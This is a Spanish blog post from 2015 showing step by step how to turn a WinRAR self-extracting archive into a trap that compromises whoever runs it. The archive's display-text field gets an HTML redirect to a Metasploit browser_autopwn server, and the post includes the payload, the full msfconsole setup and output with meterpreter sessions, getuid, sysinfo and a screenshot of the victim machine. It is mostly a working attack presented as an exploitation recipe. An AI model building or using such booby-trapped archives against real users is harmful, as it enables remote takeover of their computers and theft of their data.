miércoles, 21 de octubre de 2015

Cómo comprometer por completo la máquina de un usuario incauto que ejecute un WinRAR auto-extraíble

Hace unos días en Full Disclosure publicaban una vulnerabilidad de ejecución remota de código (RCE) en WinRar 5.21 y anteriores (confirmo 4.20 también). Concretamente, al crear un fichero autoextraíble con WinRAR (SFX), en la pestaña "Texto e icono" podemos incrustar código html y javascript que será procesado por el motor del navegador, Internet Explorer del sistema con compatibilidad IE7.

Reproducir la vulnerabilidad es muy sencillo. Seleccionamos uno o varios archivos y con el botón derecho pinchamos en "Añadir al archivo...". Luego en las opciones de compresión marcamos "Crear un archivo autoextraíble":



Luego pulsamos el botón "Avanzado" y en el cuadro del "Texto a mostrar en la ventana" de la pestaña "Texto e icono" añadimos el siguiente código:


<html><script type="text/javascript">alert('test');</script></html>



Al ejecutar el fichero autoextraíble veréis como se procesa el script:



A partir de aquí se nos abre un mundo de posibilidades. Empecemos por ejemplo insertando código para comprobar la versión y el agente de nuestro navegador:


<html><head><title>poc</title><META http-equiv="refresh" content="0;URL=http://mybrowserinfo.com/detail.asp"></head></html>



Ahora viene lo mejor, vamos a comprometer por completo la máquina del usuario incauto que ejecute el WinRAR extraíble. ¿Cómo? La manera más rápida es mediante Metasploit y el modulo browser_autopwn, que nos carga automáticamente un montón de vulnerabilidades del navegador para obtener rápidamente una sesión meterpreter en el sistema vulnerable.

msf > use auxiliary/server/browser_autopwn
msf auxiliary(browser_autopwn) > set lhost 192.168.1.207
lhost =>
192.168.1.207
msf auxiliary(browser_autopwn) > set srvhost
192.168.1.207
srvhost =>
192.168.1.207
msf auxiliary(browser_autopwn) > set uripath /prueba
uripath => /prueba
msf auxiliary(browser_autopwn) > set srvport 6666
srvport => 6666

msf auxiliary(browser_autopwn) > exploit

[*] Auxiliary module execution completed

[*] Setup
msf auxiliary(browser_autopwn) >

[*] Starting exploit modules on host
192.168.1.207...
[*] ---


Ahora empezará a iniciar múltiples servidores. En mi caso hasta 20 exploits aglutinados en una única URL:

[*] --- Done, found 20 exploit modules

[*] Using URL: http://192.168.1.207:6666/prueba


Finalmente sólo tenemos que crear un fichero autoextraíble con código que llame a esa URL:


<html><head><title>poc</title><META http-equiv="refresh" content="0;URL=http://192.168.1.207:6666/prueba"></head></html>

Y al ejecutarlo... ¡¡¡boom!!! obtenemos varias sesiones de meterpreter:

[*] Sending stage (47762 bytes) to 192.168.1.204
[*] Meterpreter session 2 opened (192.168.1.207:7777 -> 192.168.1.204:3109) at 2015-10-02 08:19:29 -0400
[*] Sending stage (47762 bytes) to 192.168.1.204
[*] Meterpreter session 3 opened (192.168.1.207:7777 -> 192.168.1.204:3110) at 2015-10-02 08:19:30 -0400
[*] Sending stage (47762 bytes) to 192.168.1.204
[-] Failed to load client script file: /usr/share/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi.rb
[*] Meterpreter session 4 opened (192.168.1.207:7777 -> 192.168.1.204:3111) at 2015-10-02 08:19:30 -0400



msf auxiliary(browser_autopwn) > sessions -l

Active sessions
===============

  Id  Type                   Information                   Connection
  --  ----                   -----------                   ----------
  1   meterpreter java/java  Administrador @ PCVICTIMA  192.168.1.207:7777 -> 192.168.1.204:3108 (192.168.1.204)
  2   meterpreter java/java  Administrador @ PCVICTIMA  192.168.1.207:7777 -> 192.168.1.204:3109 (192.168.1.204)
  3   meterpreter java/java  Administrador @ PCVICTIMA  192.168.1.207:7777 -> 192.168.1.204:3110 (192.168.1.204)
  10  meterpreter java/java  Administrador @ PCVICTIMA  192.168.1.207:7777 -> 192.168.1.204:3117 (192.168.1.204)
  11  meterpreter java/java  Administrador @ PCVICTIMA  192.168.1.207:7777 -> 192.168.1.204:3118 (192.168.1.204)


msf auxiliary(browser_autopwn) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: Administrador
meterpreter > sysinfo
Computer    : PCVICTIMA
OS          : Windows XP 5.1 (x86)
Meterpreter : java/java


meterpreter > screenshot /tmp/victim.bmp
Screenshot saved to: /root/fdKuoNkp.jpe




Como habéis podido comprobar, a partir de una vulnerabilidad RCE hemos comprometido totalmente un equipo. Lo cachondo es que la respuesta oficial de WinRAR es que no va a solucionar el bug esgrimiendo que el formato SFX es un archivo ejecutable y por lo tanto el usuario es responsable de ejecutarlo.
 

De los 500 millones de usuarios de WinRAR ¿cuántos pueden imaginar lo peligroso que puede llegar a ser un SFX? ¡Gracias WinRAR!

Fuente: http://www.hackplayers.com/2015/10/comprometer-un-PC-por-completo-mediante-winrar.html 

1 comentario:

  1. youtube.com/watch/2021_jq-kcgj-7d-s-xv/t.tv
    youtube.com/watch/2021_jq-kcgj-7d-s-xv/t.tv. youtube to mp3 (cg-7d-j-kcgj-7d-s-xv).jpg.

    ResponderEliminar